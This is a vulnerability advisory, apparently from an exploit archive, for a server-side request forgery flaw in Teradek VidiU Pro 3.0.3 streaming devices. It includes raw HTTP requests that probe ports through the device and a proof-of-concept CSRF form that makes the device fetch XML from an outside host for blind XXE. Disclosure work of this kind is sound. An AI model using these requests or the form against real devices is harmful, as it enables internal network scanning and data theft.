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Teradek VidiU Pro 3.0.3 Server-Side Request Forgery

Teradek VidiU Pro 3.0.3 Server-Side Request Forgery
Posted May 21, 2018
Authored by LiquidWorm | Site zeroscience.mk

Teradek VidiU Pro version 3.0.3 suffers from a server-side request forgery vulnerability.

tags | exploit
SHA-256 | aca8cffbbdb7cb146f30b4adc684ff750ade104ffbf97f35037b30c1fddae561

Teradek VidiU Pro 3.0.3 Server-Side Request Forgery

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Teradek VidiU Pro 3.0.3 SSRF Vulnerability


Vendor: Teradek, LLC
Product web page: https://www.teradek.com
Affected version: VidiU, VidiU Mini, VidiU Pro
3.0.3r32136
3.0.2r31225
2.4.10

Summary: The Teradek VidiU gives you the freedom to broadcast live
high definition video directly to the Web without a PC. Whether you're
streaming out of a video switcher or wirelessly from your camera,
VidiU allows you to go live when you want, where you want. VidiU
offers API level integration with the Ustream, YouTube Live and
Livestream platforms, which makes streaming to your channel as
easy as logging into your account.

Desc: A server-side request forgery (SSRF) vulnerability exists in
the VidiU management interface within the RTMP settings and the Wowza
server mode functionality. The application parses user supplied data
in the GET parameters 'url' and 'xml_url' to construct a page request
that loads the configuration for specific service. Since no validation
is carried out on the parameters, an attacker can specify an external
domain and force the application to make a HTTP request to an arbitrary
destination host, including xml data parsing (XXE potential). This can
be used by an external attacker for example to bypass firewalls and
initiate a service and network enumeration on the internal network
through the affected application.

Tested on: lighttpd/1.4.48
lighttpd/1.4.31


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2018-5461
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5461.php


02.03.2018

--


SSRF open port:
---------------

GET /cgi-bin/wowza.cgi?command=read_url&url=zeroscience.mk:443&_=1526243349301 HTTP/1.1
Host: 127.0.0.1:8090


HTTP/1.1 200 OK
Content-Type: application/json
Connection: close
Date: Sun, 13 May 2018 21:42:30 GMT
Server: lighttpd/1.4.31
Content-Length: 31

{"error":"invalid parameters"}


SSRF closed port:
-----------------

GET /cgi-bin/wowza.cgi?command=read_url&url=zeroscience.mk:7777&_=1526243349301 HTTP/1.1
Host: 127.0.0.1:8090


HTTP/1.1 200 OK
Content-Length: 0
Connection: close
Date: Sun, 13 May 2018 21:43:30 GMT
Server: lighttpd/1.4.31


===================================================


SSRF closed port:
-----------------

GET /cgi-bin/system.cgi?command=rtmp&action=rtmp_xml_from_url&xml_url=zeroscience.mk:7777&_=1526244218671 HTTP/1.1
Host: 127.0.0.1:8090


{"result":"error", "error":"Curl error"}


SSRF open port:
---------------

GET /cgi-bin/system.cgi?command=rtmp&action=rtmp_xml_from_url&xml_url=zeroscience.mk:443&_=1526244218671 HTTP/1.1
Host: 127.0.0.1:8090


{"result":"error", "error":"Bad request"}


===================================================


PoC CSRF Blind XXE SSRF OOB:
----------------------------

<html>
<body>
<form action="http://127.0.0.1:8090/cgi-bin/system.cgi">
<input type="hidden" name="command" value="rtmp" />
<input type="hidden" name="action" value="rtmp_xml_from_url" />
<input type="hidden" name="xml_url" value="http://site.tld/xxe.xml" />
<input type="hidden" name="_" value="1526244218671" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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